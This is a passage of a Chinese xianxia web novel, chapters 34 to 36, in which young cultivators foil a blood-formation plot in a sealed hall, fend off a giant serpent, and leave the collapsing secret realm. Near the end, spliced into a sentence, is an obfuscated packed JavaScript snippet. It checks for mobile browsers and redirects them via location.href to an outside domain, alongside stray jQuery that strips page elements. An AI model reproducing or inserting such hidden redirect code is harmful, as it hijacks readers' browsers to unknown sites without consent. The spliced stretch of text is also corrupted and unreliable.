谢云涧蹲下来和她对视,“薛姑娘很天真呢。我不过是半道遇见的陌生人,也可以这样信任吗?” 他这话就有些莫名其妙了,薛予蓁看着他,认真地说道:“并没有很信任,而且我也不是打不过你。” 她说的很直白,是谢云涧没想到的,不过想象一下这人挂着虚假的笑容说“怎么会呢”的样子,那才是违和感满满。于是他哈哈笑了起来,“没关系,信我吧。”说不定以后再遇见幻阵,里面除了师父和拂云间,应该会有别的人了。 薛予蓁不明所以,正要问,却听见身旁的子书珹小声地喊了一声“小风筝”。 “子书师兄!”她惊喜地探头过去。 子书珹已经睁开眼睛了,眼神有些恍惚地看向她,“小风筝?” 薛予蓁连连点头,“嗯嗯,是我是我。” 谢云涧不悦地在背后撇撇嘴,转过头却又笑着道:“子书兄醒了就好,我再去看看别的人。” 子书珹在薛予蓁的搀扶下坐了起来,他一手撑在地上,一手扶额,长叹一口气,“主修的便就是阵法符箓,竟然还会中招。” 说着要去看看别的人的谢云涧随意晃荡了一圈又走了回来,正巧听见这句话,道:“那约莫是没什么天赋,这个岁数再去学学其他的也不算太晚,这子书兄考虑考虑?” “?”这人的态度突然就变了个彻底,但子书珹懒得去搭理他,“进来大殿后,我同崇涧宗的那两位分明第一时间就检查过,并没有什么幻阵,为何突然会这样?” 薛予蓁一愣,“不是大殿为了防止误入,本身就设下的吗?” 子书珹摇摇头,“若是本身就有的,在我们踏入大殿的瞬间就会生效。倘若是宁沂上仙真的专门为了保护大殿里的东西,设下幻阵,我们应当没有机会踏入这里。” 谢云涧不精通阵法符法,未曾想到这个层面,他啊了一声,“如此说来,是有什么人在我们进了大殿后,才设下这个阵法的吗?” 三人不再说话,眼神一寸一寸地巡视着殿内躺着的每一个人。这是最寻常的幻阵,从四方位而起…… 但殿内除了宁沂上仙镶嵌在墙壁上闪闪发光的宝石以外,没有符咒,没有咒令。 “真是奇怪啊。”谢云涧道。 薛予蓁没找到什么有用的线索,扭头去看他,“什么奇怪?” 谢云涧指了指西南角一位弟子,“你们门内不和吗?为何其他人都在这里,那人独一个在哪边?” 子书珹闻言也看过去,一名身着蓝白衣袍的弟子横躺在那。他没看出什么奇特的,收回视线,“谢公子是色盲不成,我知源宗的弟子袍是蓝白不错,但瞧着要色浅一些,花纹也要分散一些。” 这时的谢云涧却没一开始那番阴阳怪气了,很是诚恳地说了一句抱歉,“那边黄黄绿绿的一片里混着一个蓝白色的,看着叫人有些不舒服。大家都是扎堆的,我还当你们知源宗孤立他呢。”他微微叹了口气,“真是关心则乱啊,关心则乱啊……” 他这样一说,薛予蓁也觉得有些奇怪了,“是有些奇怪了,大家都是同一门派一起行动的,他们怎么这儿一位,那儿一位——” “先前!”子书珹和薛予蓁同时道。 碰巧点醒两位的谢云涧也回过神来,用只有三人能听见的声音说道,“先前我和子书兄被那头狼追赶的时候,也看见过这个宗门的弟子呢。” “我和崇涧宗的几位碰见的时候,也有他们宗门的人。”薛予蓁道。 但各个宗门的人都是从四面八方汇合的,这样的怀疑也有些站不住脚,薛予蓁又有些迟疑了。 谢云涧却是不以为然,“在上面被凶兽围攻时大家伙就已经在抱团取暖了,没道理突然遇见地上开了个坑这种事情,还搅得自己分崩离析。” 子书珹也道:“将符咒贴在人身上,以活人为阵眼也不是不行。”他依次看去,东南,西南,西北,东北…这些方位,都“好巧不巧”有这样一位仰躺着。 目光缓缓移至大殿中央,也躺着一位蓝白以衣袍的弟子。 但幻阵只需要四方阵眼即可,中间那位又是为了什么呢? 三人一边说着话,一边往那人身边走着。 许是已经察觉到有人识破了自己的计划,中间那人也不装睡了,猛然抬头大喝道:“快动手!” 三人均是一愣,急忙看去。 只见在那人的一声大喝之后,除了那四个方位的弟子外,东,西方也坐起来两个弟子,六人同时挥剑割破手腕,以血为媒在地上画符。 霎时,明亮的大殿内闪起幽幽红光,整间屋子都布满了红色的阵法纹路。 这又是什么时候布下的!子书珹有一瞬间脑中空白一片,他急忙扫视地面——什么痕迹都没有,但,有些人的佩剑被动过了,并非随意的散落在身边,而是被人刻意而为地摆放着,就是为了给现在这个阵法做准备。 他看透这一切后立马回神,刚要去将这些佩剑打撒,就听见一道凄厉的哀嚎。 “啊啊啊啊———我的手!我的手啊!!” 啪嗒两声。西方位上的那人两只手被人自小臂处斩断,那人脸上出现两秒空白后就凄惨地叫喊起来。而站在那个人身旁的人动作也因为这个变数生生停了下来,眼神错愕地看向中间——薛予蓁胸口剧烈起伏着,呼吸急促,眼神发直。 而在断手旁,伐邪悬在空中,鲜血顺着银白的剑身滴落在地上。 又是砰砰几声过后,其余阵眼上的人也被解决。 “啧,尘木,你发什么呆呢?解决完——”榕溪满脸不耐烦地走到尘木身边,看见地上的残肢,嘴角抽搐了一下,“你什么时候喜欢将场面搞成这样了?” “睁大你的眼珠子好好看看,这是我干的吗?”尘木收回目光,白了他一眼。 “小风筝,小风筝,你没事吧?”阵法已经被中断了,子书珹也顾不上去看被画在地上的符咒,眼疾手快地接住脱力的薛予蓁,焦急地询问道。 薛予蓁死死地拽住他的领口,语无伦次地念叨着,“这个,不对,为什么,是这个,不对啊,不对……” 慢人一步的谢云涧嘴角微微撇了一下后,又慢吞吞地扬起来,他转身朝着榕溪和尘木走去,“二位,不该解释一下为什么吗?” 尘木正揪着袖子擦拭着溅到脸上的血迹,“什么?” “为什么醒着,为什么知道要打断这个阵法之类的。” 榕溪抖了抖自己的衣袍,“你不认识我们?” 谢云涧真心实意地回复道:“你们是什么风云人物吗?我一定要认识你们。” “不是我们,是山雨门啊。”榕溪道,“五洲最大的情报中心,消息包人满意——啧,你怼我干什么?”他恶狠狠地看向尘木。 尘木懒得理他,道:“两个月前,门主算到宁沂秘境试炼之时,会有大事发生,便叫我们一定要参加,并且要带着能抵御阵法影响的灵器。”这是在解释为什么醒着。 谢云涧看了看他递出来的明念灵珠,挑了挑眉,“嗯嗯,还有呢。” 榕溪心中不爽,“你小子谁啊?凭什么一定要给你说。” 谢云涧并不恼怒,依旧笑着说道:“我记得那位褚师兄说,山雨门并没有来多少人吧。”他看了看四周,“看起来,这里也只有你们二位呢。如今这邪里邪气的阵法也中断了,幻阵也破了。届时,大家都醒了,看见这样的场面……” 他粲然一笑,“听说山雨门在五洲的名声其实不大好呢。只要钱到位,什么消息情报,甚至是人命,都可以买到手。那你觉得,名声狼藉的你们,和温和有礼且令人信服的子书兄,大家会更愿意听谁的呢?” 谢云涧适当的往旁边让了让,露出后面的子书珹来。薛予蓁不知是不是因为情绪太激动,又晕了过去,子书珹将她横抱在怀里,听见谢云涧这样讲,他抬头看来,也微微一笑,赞同地 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“嘶——好痛!”脸颊红肿的许乐禾捂着脸坐起来,呲牙咧嘴地看着子书珹,“怎么回事啊子书珹,该不会是你打的吧?” 给薛予蓁出馊主意的谢云涧移开视线,落到子书珹怀里,嘴角往下落了一点,“薛姑娘这是怎么了?” 关心薛予蓁的心是一样的,子书珹没藏着掖着,“不知道,方才一下子情绪很激动,就昏过去了。” 谢云涧道:“薛姑娘还真是时运不济啊,在这秘境里都昏过去几次了?” “总归是年纪还小,经不住这些。” “喂喂?有人理我一下吗?”许乐禾又在一旁叫嚷,后一步醒过来的徐赠春掰过他的脸,沉默着给他上药。 许乐禾呜呜道:“还是师妹好,知道心疼师兄。人果然还是需要一个师妹啊。” 徐赠春被恶心得险些一巴掌甩过去,她看向子书珹,“小风筝怎么了?要我看看吗?” 子书珹闻言看了她几秒钟,没有出声。就在许乐禾不明所以地举起手说“要不我来?”时,子书珹才嗯了一声。 徐赠春上前去探了一下薛予蓁的脉,脸色微微一变,“先前发生了什么,体内灵气好乱。” “许是看见了什么东西,被刺激到了。”子书珹回道。 许乐禾:“有没有人可以尊重我一下?” 没人理会他。许乐禾狠狠——踹了地一脚,自己爬起来溜达着去看慢慢醒过来的其他人,他好歹是一名医修呢。 “说起来,堇衣镇出事当日,你是同褚师兄一道下山去处理的吧——”子书珹突然想起来,问道。 只不过话还没说完,就被许乐禾打断。 子书珹难得在众人面前露出不耐烦的模样,“你又怎么了?” “诶?子书珹!我知道小风筝受什么刺激了。”许乐禾用脚挑开断手,看着地上以血绘制的符咒,“这不就是她家出事时,也出现的阵法符咒吗?” “你说什么——你做什么?!”子书珹惊道。 许乐禾刚把一丸丹药塞进薛予蓁嘴里,听见他这质问般的语气,登时面带不可置信的表情看去,“什么意思?你不会真的忘了我也是医修了吧?” 子书珹愣了一下,轻咳一声,不自然地偏过了头。 许乐禾险些崩溃,幸好还有好人在。 好人谢云涧一脸笑容,谦逊地问道:“这位…师兄,你给薛姑娘吃的是什么?” 许乐禾叹了口气,“她看见这些玩意,肯定又想了自己家的遭遇才会这样情绪过激晕过去。这样的话,即便是晕过去也会被往事魇住。那只不过是清心丹。吃了之后,好好的睡一觉就行。” 谢云涧看了看薛予蓁,果然,脸色稍微好了点,眉头也慢慢舒展开来。 许乐禾无奈地摇摇头,对子书珹说道:“我可没有专门钻研过阵法之类的,只记得见过,不知道是做什么用的。你把小风筝先交给别人看顾着,去看看那符咒吧。”他哆嗦了一下,“也不知道是什么玩意,看着就邪门。” 子书珹应了声好。 “给赠春吧——?”许乐禾话刚说到一半,就见子书珹抱着薛予蓁面朝谢云涧。 “谢云涧。”子书师兄冷漠道,“看顾好她。” 谢云涧本想着应该没自己什么事,正出神琢磨那怪异的阵法,猝不及防被人叫了一声,脸上的表情空白了一瞬,难得有些手足无措,他轻轻接过人,“我?” 子书珹其实并不乐意,但众人都有自己的任务,谢云涧虽是萍水相逢,但坦荡实在、心思不坏,且实力卓越,他看着少年,勉为其难道:“我很不喜欢徐赠春。再说,你不是喜欢小风筝?” “……”虽是第一次见面,但有些时候感情就是很莫名其妙,谢云涧自己都还没研究明白的那点小心思被别人点了出来。听着这话,谢云涧耳尖轰得烧了起来,“知道了。” 35. 第三十五章 碎玉 子书珹表达喜恶的方式简直太过于直白,连许乐禾都愣了一下。他摸摸鼻子,抬手想去搭徐赠春的肩,“你也知道的,他这人就这个臭德行。走,咱们去看看——” 徐赠春拂开他的手,“我本也不喜他。”说完便转身走了。 许乐禾放下手,小声嘀咕道:“明明小时候玩得蛮好的……”他无奈地叹了一口气,赶了上去,“等等我呀,好师妹。” 几人纷纷散去,只留下抱着薛予蓁的谢云涧站在原地发愣。他低头看了看呼吸平缓的少女,后知后觉感到自己这样抱着人实在失礼又碍事。 大多数人都已经从幻阵中醒来,少部分没醒的正在被自家师兄师姐轮番“亲切”呼唤。不过,没一个人是谢云涧认识的了,他思索了一下,抱着人溜达道大殿边上。 “看起来,宁沂上仙真丢了不少东西在这里。”也不在乎怀里的人根本听不见自己说话,谢云涧仰头看着大殿墙壁上的花纹,“这是什么意思?山?还是花?看起来又有点像草。” 宁沂上仙许是财大气粗,殿内各处都堆着不少东西,卷轴古籍,奇珍异宝。连壁画都是由宝石点缀而成。 “这块儿倒是要干净许多。薛姑娘,委屈你在这坐一会儿了…”谢云涧嘀咕着正想上前一步把碍事的东西扫开,刚走一步却感觉脚下踩到什么软绵绵的东西。 低头时没看见是什么东西,倒是撞进一双黝黑的眸子中——薛予蓁醒了。 “你醒了?”谢云涧有些意外,先前听许乐禾的话,还以为会薛予蓁这遭又会睡上许久。 薛予蓁看起来好像是情绪稳定下来了,只盯着他看,也没说话。 谢云涧一笑,“怎么了?薛姑娘可还好?” 这下薛予蓁有了反应,但也只是将落在他脸上的目光移到了天花板上,看着怀中的人瞳孔倏地扩大,谢云涧立马察觉到不对劲,也抬头去看。 可天花板上干干净净,什么都没有。 但意外总发生在下一瞬间。 “嘭” 几乎是瞬间,薛予蓁抬手将谢云涧从方才站的地方推了出去,同时自己也身形灵巧的翻滚到一旁去。 下一瞬,两人方才所处的位置被大块碎石占据。沙砾摩擦的声音从破口处响起,一个巨大的蟒首从中探出,血红的瞳孔直勾勾地盯着薛予蓁。 变故来得太突然了。 两人本就远离人群,子书珹听见响动后的瞬间便朝那边看去。地上血色的符咒和突然闯进来的乌霜赤焰在脑中联系起来。 这几人绘制的阵法他并未见过,但其中阴邪程度绝不低。即便阵法未成,也足以破坏大殿原本的禁制,乌霜赤焰便是寻到了这样的空子,追了进来。 薛予蓁看着面前狰狞的凶兽,脸上血色全无,伐邪也并未在身上,这样对上乌霜赤焰连挣扎都挣扎不了。但心里好像并没有多少害怕,眼前就像是出现了幻觉一般,一会儿是爹爹说话的模样,一会儿是地上血淋淋的符咒。 “奇怪……我为什么会不怕呢?”薛予蓁心想,“我明明怕很多东西,在平阳城时怕那个黑衣人,在宁沂秘境的时候怕前辈,怕那个被魔族篡灵的修士。明明被乌霜赤焰追着打的时候也在害怕,可为什么现在这样面对着它的时候,却一点也不害怕呢。” 殿中的所有人都僵持着不动,横冲直撞闯进来的乌霜赤焰也只是吐着猩红的蛇信子,用那双红到发黑的眼瞳盯着薛予蓁。 薛予蓁缓缓坐直了身体,竟就这样朝着乌霜赤焰伸出手。 “薛予蓁!” “薛师姐!” 一时间,几乎是所有知源宗的弟子都出声制止。但薛予蓁并没有停下动作,而乌霜赤焰也没有做出任何行动攻击她,甚至是温柔地用下颌轻轻在她手心蹭了一下。 在场严守以待的人都惊住了,就连薛予蓁都没想到会有这种情况。她正要说话,却发现乌霜赤焰的眼神变了。 轰! 大蟒的尾巴猛然砸开天顶,碎裂的石块轰然掉落,将大殿内搅得一派狼藉。 子书珹护着门内弟子避开石块后,转身便看见乌霜赤焰张着血盆大口就朝着薛予蓁咬去。他目眦欲裂,大喝,“薛予蓁!”灵剑随心而动,嗡的一声陡然出鞘而去。 同时,一道缠着冰凌的箭矢凌厉而出,擦着灵剑而过,带着浩然灵力击中大蟒。竟生生地将乌霜赤焰硕大的脑袋打得偏到一旁。 薛予蓁捡着时机从乌霜赤焰面前避开。乌霜赤焰勃然大怒,舞着巨大的身躯挣脱冰凌的桎梏,嘶嚎着攻向薛予蓁。 唰,唰。 又是两道箭矢,但即便乌霜赤焰甩着尾巴将箭扫开,也会被冰凌阻碍一会儿。有了助力,薛予蓁倒算是顺利地脱身回到子书珹他们身边。 子书珹将伐邪抛给她,“可还好?” “没事。”薛予蓁将伐邪拔了出来,偏头看向另一边,谢云涧手持一把莹白长弓,神色森然,早就没了那副笑脸,“多亏了有人相助。” “是谁——咳咳咳咳咳咳!”一名弟子跟着薛予蓁的视线看去,这一看好险没将自己吓死,“谢兄,咳咳,还,还真‘亲眼’见过白潋银月。”不光是见过,还正用着呢! 薛予蓁一头雾水,“什么银月?” “别说些没用的东西,这蛇是不是有毛病啊?”许乐禾打断他们,“一会儿暴躁,一会儿冷静,蛇也会有心魔吗?” 确实奇怪,先前还是一副要将这里所有人都全部吃掉的凶狠样子,一通乱窜恨不得将这地宫搅得稀巴烂,把人都埋在这里。现在却又是一开始对着薛予蓁那副冷静模样,呆在原地一动不动,只把硕大的脑袋转向薛予蓁。 薛予蓁心中升起一个难以置信的念头,抬手握住颈间玉佩。乌霜赤焰突然将脑袋扬起,看向上方的空洞,能瞬间砸死三个人的尾巴此刻却轻轻地点了三下地面。 “它这是什么意思啊?” “拖住它……”薛予蓁道。 子书珹扭头看她,“什么?” “上面救援来了,拖住它!”薛予蓁大声道,“不要伤害它!” 眼见乌霜赤焰又要发疯,榕溪道:“我们伤害它?我们能活着应付它就已经不错了!!” ……………… 乌霜赤焰本就凶悍,被魔气控制,更是难以应对。殿中众人与它而言就像是老鼠一般,弱小,但会乱窜。 这一拖就是小半个时辰,众人本就因为先前种种灵力耗空,现下几乎都是气喘吁吁,连剑都要使不动了。 “我不行了,它玩我们呢?”一名崇涧宗的弟子以剑撑地,眼神恶狠狠地瞪着乌霜赤焰,“有本事,直接把老子吃了啊。” 元弋晓抓着他的肩往后一跃避开乌霜赤焰尾巴的一击,“再坚持一下。” 伐邪本就耗费灵力,薛予蓁旧伤未愈,新伤又添了好几道。月白色的弟子袍几乎要被血迹填满了。她已经没有多少灵力的,但偏偏乌霜赤焰就爱追着她打。 子书珹先前为了保护一名弟子,被它当胸给了一尾巴,直接喷出一口鲜血昏了过去。许乐禾和徐赠春在后面为他紧急处理。 薛予蓁挡在几人面前,看着又一次冷静下来的乌霜赤焰,竟然莫名笑了起来, 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所有人都在欢呼雀跃。 谢云涧期间一直在和薛予蓁相对着打配合,也有些体力不支了。他拨开挡路的碎石板,找到了瘫坐在地的薛予蓁。 “薛予蓁……” 轰隆! 顶上传来一阵闷雷,大雨降了下来。 宁沂秘境的禁制破了,五洲多了一处谁人都可随意进出的遗迹。 谢云涧从储物囊中掏出纸伞,刚要走向薛予蓁,就见从上面落了一道避雨诀在她身上。 褚霁远飞身而下,落在薛予蓁身边,替她拂开沾湿的碎发,急切地问道:“小风筝,怎么样?没事吧?” 谢云涧想着,怎么会没事呢?她还会哭吗?会吧…… 但薛予蓁没有,她抬头看着褚霁远,脸上毫无悲伤,甚至眼中隐隐透着些欣喜,“师兄?我就知道,师兄会来救我们的。” 褚霁远摸了摸她的头,将她从地上拉起来,又是几道灵力落到她身上,“又受了不少伤啊……” “这谁也没有料到事情会发展成这样。”薛予蓁哈哈笑了两声,“对了师兄,这次事情并非巧合,我们抓住了几个人,兴许就是主谋了。还有,并未找到碧绛草……” 褚霁远垂眸看了她两秒,突然伸手掐住她的两颊。薛予蓁目露疑惑,含糊道:“师兄?” 褚霁远抬手按在她右臂的伤口上,“伤口还在流血,感觉不到痛吗?” 薛予蓁当然痛了,被按的呲牙咧嘴地叫唤了一声,“我这算不得什么,子书师兄他才是——啊!” 听不得她在这再叽里呱啦说个不停,褚霁远捉着她的腰将她像抱小孩一样抱了起来,将她往悬在身侧的敛芳回上一放,“方才在上面同你的蛇前辈找到了其余进秘境的弟子,如今宁沂秘境禁制已破,谁都可以进来,已经叫人去通知了,会有人下来接他们的。” 闻言,薛予蓁的身体放松了下来,她将额头抵在褚霁远肩上,嘀嘀咕咕地说了一串话。褚霁远以为她在抱怨秘境里发生的事情,仔细一听后却是在说,“敛芳回哪里是叫你这样用的呀,神剑的威严都没有了。” 褚霁远闷笑两声,“你腿上的伤口也在流血,老实待着吧。” 谢云涧看着两人,低声笑了一下,将伞收了回去。 一转身,泠宿正皱眉看着他,“你身上,有宁沂灵力的气息。” “唔…”谢云涧垂眸思索一下,招出白潋银月,“或许前辈说的是这个?” 36. 第三十六章 失意 秘境崩塌是件大事,更别说这是宁沂上仙所遗留下来的。褚霁远出了秘境后就将薛予蓁丢给了惴惴不安的施淼淼,自己带着子书珹等人去追捕想要趁乱逃跑的潘长老一行人。 敛芳回小心地倾斜剑身,将人稳稳地放在地上,又像是安抚似地用剑柄拍了拍薛予蓁的肩膀。 薛予蓁小声地朝它道了谢,目送这“尊严尽失”的神剑悠哉悠哉地跟上了褚霁远。 “天啊。”施淼淼简直要心梗了,她去时干干净净的小师妹,回来时却像是在泥坑里滚了一遭一样。这些外在的东西倒还不值得一提,脸上身上大大小小的伤口才叫她难受,她伸手在薛予蓁脸上的伤口上轻轻一点,“怎么就弄成了这样?” 薛予蓁自己没什么感觉,褚霁远一下去就给她输送了不少灵力,伤口在灵力的温养下倒是没那么疼,只是看着吓人。她朝施淼淼笑了起来,“我没事的师姐。”说着又眨眨眼,“回来时听到师兄说你方才在外面可威风了。没能瞧见真是有些遗憾。” 施淼淼无奈地摇摇头,“有什么可遗憾的。快过来坐下,我给你清理伤口。”凫华早就准备好伤药脂膏。 “嗯……”薛予蓁怕施淼淼太过担忧对她自己的身体不好,便也没再说别的,乖乖地坐在她身边让她给自己上药,但眼神却在人群中四处张望着。 知源宗来时便一切从简,其他宗门却鲜少这样,除却进入秘境的一批人,还带了不少弟子来学习。此刻秘境外一眼看去全是人。 薛予蓁没看见谢云涧的身影,微微有些失落。 先前在大殿内同乌霜赤焰周旋时,谢云涧帮了她不少忙。不知他有没有受伤?若是有人同他一道还好,偏生这人是散修,身边除了一只通人意的松鼠以外,什么都没有。 施淼淼手脚麻利地给薛予蓁上完药。她做这事也算是熟门熟路了。她并非是施明尘的独子,在她之上还有两个哥哥。那两人虽是双生子,却脾性不对付,不是今日你呛我,就是明日我打你,没一个安生时刻。两人先后结婴后就离开宗门去历练了,现今不知道在五洲什么地方。 施淼淼想起这两位兄长就觉得心累,自己病恹恹的不说,还得不时插在这两人中间调和关系,当真是累人。施淼淼收拾好心神后去看薛予蓁,却见她低垂着头神情不属。 “这是怎么了?”她坐在薛予蓁身旁,“看着如此消沉,可是还有哪里不舒服?” 薛予蓁摇摇头,“我已无大碍,师姐不必为我担忧。”她摆弄着手指,语气沉闷,“只觉得这事情来得蹊跷。先是平阳城试药,后又是秘境里生出祸端,如何能叫人感到心安……” 施淼淼对几人先前在平阳城的遭遇也是清楚的。她虽修为不济,但施明尘平时里有意无意地将她叫去,似乎是要让她接触些宗内事务。施淼淼叹了口气,抬手拍拍薛予蓁的肩,“此事恐怕还轮不到我们操心。”她眼神示意了一下凫华。 凫华会意,道:“方才禇公子命人来说,要两位小姐好生歇息。子书公子并无大碍,现在已经跟着褚公子去处理这件事情了。” 薛予蓁闻言点头,眉目间的忧虑却没消散半分,“凫华姐姐,我知道师兄那边的事情我恐怕帮不上忙,可还有什么能用上我的地方?” “薛予蓁!” 凫华正和施淼淼大眼瞪小眼地想着怎么让薛予蓁不再关注这件事情,两人都是脑中一片空白。 幸而突然有人喊着薛予蓁的名字跑了过来。 是莫泱几人。薛予蓁是被褚霁远单独带出秘境的,一时间竟然忘记了这几个伙伴。几人也都是灰头土脸的,但瞧着格外的精神,连游鸿都眼神亮晶晶的。 几人跑到跟前才注意到施淼淼,手忙脚乱地行了一礼,“师姐好,师姐好。” “淼淼师姐。” 施淼淼松了一口气,她笑着招呼几人,“伤处可都处理好了?” 莫泱道:“多谢师姐关心。有徐师姐和许师兄在,我们早就收拾好了。” 施淼淼道:“来找小风筝有什么事?” 游鸿从袖中掏出一轴卷轴递给薛予蓁,解释道:“方才我们同徐师姐他们一起去处理伤员,遇见了那位谢公子,他说要先走了,叫我们把这个给你。” 薛予蓁闻言一愣,“他已经走了?” 莫泱撇撇嘴,“是啊,臭着一张脸。若不是在殿内一起合作过,我还当这是他给你下的战书呢。” 谢云涧虽然来历蹊跷,但的确帮了他们不少忙。薛予蓁暂且信他并不是幕后之人中的一员,没能当面道谢,叫她不免有些失落。 “小师姐,这是什么啊?”莫泱好奇道,“打开看看呗。” 薛予蓁也有些好奇,她慢慢打开卷轴,在看清前面三字后就猛地将卷轴合上,震惊地看向面前几人,“这,这是——” 瞧见她一副惊讶的模样,几人也不免紧张起来了。却见薛予蓁将卷轴塞进了自己的储物囊里,“谢云涧往哪边去了?” “西南方。”游鸿拦住她,“师姐,他走了有一会儿了,你现在追他,也来不及了。” 薛予蓁拧着眉,“他为何要给我这东西?” 陶小雨道:“他给的时候,旁的什么也没说,只让我们将此物转交给你。噢!还说了一句‘若是有缘,还会有机会相见’。” 这话说了同没说一样,薛予蓁无言地闭了闭眼,扭头看向施淼淼,“师姐,我得去找一下师兄。” 施淼淼看她样子,知道事出紧急,道:“方才我见师兄和子书珹一起去找了风雨门的弟子,说是要去拦截什么潘长老。”说完,她不赞同的皱着眉头,“予蓁,此时恐怕你不适前往。你所要说的事情,可还能再等一会儿?” 薛予蓁犹豫了一下,“还是眼前的事情要紧。再者,谢云涧他……” 谢云涧不过是突然加进来的一个散修,若是与之前的事情有什么关联,没道理褚霁远看不出来。可他既然能将卷轴送到自己手中来,也就说明了他知道他们在查什么。但他若是幕后之人,又为何要将此物放在明面上,又为何要在地宫内助力他们。想起那道擦肩而过的银蓝箭矢,薛予蓁压下心中的疑惑,喃喃道:“他应当不会是……” “不必怀疑那小子。” 薛予蓁抬头看去,泠宿不知何时到他们这里来了。 “前辈。”薛予蓁道,“前辈可是知道些什么?” 泠宿点点头,“他手中有白潋银月,绝非心思不正之人。” “白潋银月?!”莫泱都来不及疑惑泠宿的身份了,“他他他,他居然有白潋银月!” 相传,宁沂上仙诸武精通,尤其是剑和弓,白潋银月是和伐邪齐名的神兵。泠宿补充道:“宁沂的破手艺,凡事心术不正之人,都无法驯服他所锻造的武器。白潋银月已然认主那小子了。” 莫泱嫉妒得牙痒痒,“这位谢兄,真是好机缘啊。” 薛予蓁倒是松了一口气,“前辈怎么到这来了?” 泠宿突然笑了起来,“原先宁沂只说要我跟着‘机缘之人’,却没想到,宁沂秘境居然塌了,这下他下的禁制也变弱了不少。我是来同你道别的。”他并起双指凌空画了一道符,“不过我要时不时地在你身边待一阵才能减弱禁制的效果。这,算是一种灵契。签下这个,我便能为你所用。如此,我们也能互相感应到彼此的位置,方便联系。” 薛予蓁却往后退了一步,连连摆手,“我,我怎么能同前辈签这种灵契呢!!” 泠宿挑眉,“虽说妖族同人族以及五百年多年未曾相处过了,但在通道没有封闭之前,能与我这样的妖族签此灵契,可是不少人梦寐以求的事情。你当真不想?” 薛予蓁小心翼翼地看了他一眼,道:“可是前辈,我是剑修,并非万兽修……” 听见这话,泠宿险些气笑了,这小丫头,竟然将他同低贱的野兽相提并论,只是还没等这道气发出来,就见薛予蓁递给他一叠符箓,笑眯眯道:“前辈,不结契也能联系上的。子书师兄给我写了很多传音符。” 泠宿看着眼前的一沓传音符,沉默了一瞬,将其收下,而后说道:“若是有空,还是叫你师兄多给你找些书看吧。”说罢,转身就走。 薛予蓁茫然地看着他的背影,问身旁的施淼淼,“师姐,他是在说我没文化吗? ” 施淼淼捂着嘴偷偷笑了两声,“我曾读过一些古籍。在沉渊峰一战前,人,妖,甚至是魔族,是一起生活的,虽摩擦不断,却也有合作共处的时候。书中鲜少提及与魔族的关系,却写过人妖两族间有一道灵契,可使结契者双方灵气相连,心念相通。”她想了想,“不过这契多用于有情人之间,且更多的是束缚妖族。五百年前大战时,五洲各处遭难,许多古籍都葬于战火之中。何况,沉渊峰的封印不仅封住了魔域入口,还将妖族的入口也封闭了。五百年来,很少能再看见妖族,那些见过妖族的前辈要么一直在闭关,要么渡劫失败身陨……这些东西便也没什么人研究了。” 施淼淼安抚道:“想来,那位前辈是担忧自己伤害你,才提出此计。”她顿了一下,“话说,小风筝你是如何识得这位前辈的?” 薛予蓁这才想起自己还未说过秘境里的事情,便简单地将事情给几人说了说。 得知泠宿居然同宁沂上仙认识,几人都不免感到震惊。 陶小雨道:“这位前辈既与宁沂上仙相识,想必也对上仙所造的神器有所了解。他都这样说,便说明了那位谢公子并非歹人。” 莫泱对泠宿不感兴趣,对谢公子更不感兴趣,只是好奇谢云涧到底交给薛予蓁了什么东西,“那谢公子给你的到底是什么东西?就不能给我们看看吗?” 薛予蓁也不知这事能不能说,她看向几位伙伴,只得歉意地笑了笑。见她如此,几人也并不强求,飞快转开了话题,同施淼淼说起了秘境中的见闻。尤其是莫泱,寻常时候他就能说得不行,更别提经历了这一遭,说起话来,那是一个眉飞色舞,口若悬河。 见施淼淼听得认真,薛予蓁便没去打搅他们,朝凫华比了个手势,示意她要自己去走走。 褚霁远在进秘境之前就已经对有些宗门的行为有所堤防了。而在秘境坍塌后,不需要他说,其他大门派也觉察出来了不对劲,继而目前留在秘境废墟前的大部队,基本上都是在秘境中受伤或是修为低下的人。 薛予蓁转了半天,同门师兄弟没撞见,倒是看见了元弋晓和柳倾云。两人在秘境中也是受了不小的伤,没参与对潘长老的逮捕,而是在崇涧宗的营地里疗伤。薛予蓁本想着去打个招呼,刚踏出去半步,又想起三人在进秘境闹的不愉快,便犹豫起来了,脚步一转就要离开。 在她犹豫的档口,两人也看见了她,先后出声喊住了她,“薛小姐!” 薛予蓁只好又转了回来,“元公子,柳小姐。” 元弋晓和柳倾云对视一眼,前者神情还有些迟疑,后者却已经大方地应了一声,“我们好歹在秘境中并肩合作过一段时间,薛小姐不必如此客气,直接叫我倾云便好。”她抱拳施礼,“还要多谢薛小姐在秘境中的几次搭救。先前的事,是我太过计较,给你平添了不少麻烦,实在抱歉。” 薛予蓁本就是少年心性,想着在秘境中都是一道并肩作战的伙伴,心中那点气早就没了。听见柳倾云格外认真地道歉,倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471933|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有些不好意思,也连忙回了一礼,“谈不上搭救,大家都是拼了命在争取时间。”她挠挠头,“柳小姐比我年长,直呼名字有些不妥。” 柳倾云也不在意这些,爽朗道:“是要虚长你几岁,如果不介意的话,叫我倾云姐姐也行。我可以叫你予蓁吗?” “可以的,倾云姐姐。” “嗯。”柳倾云满意地点点头,“怎么一个人在这瞎转悠?” 薛予蓁道:“想起秘境中的事情,心中有些烦闷,想着自己走走,散散心。” 见总算有自己能插上话的话题了,元弋晓连忙开口,“秘境之中的事情的确蹊跷。若是我没认错的话,那几名绘制阵法的弟子应当是襄州凌河药谷之下的一个小门派的。” 听见“凌河药谷”四个字,薛予蓁有片刻怔愣,但她只是恍惚了一下便回过神,“可此次秘境试炼,并未看见凌河药谷的人。” “若是要做坏事,本人来了更是不便,但若要是派些无关紧要的人来,东窗事发时还能借‘治下不严,管理不当’来遮掩。”柳倾云道,“凌河药谷……” 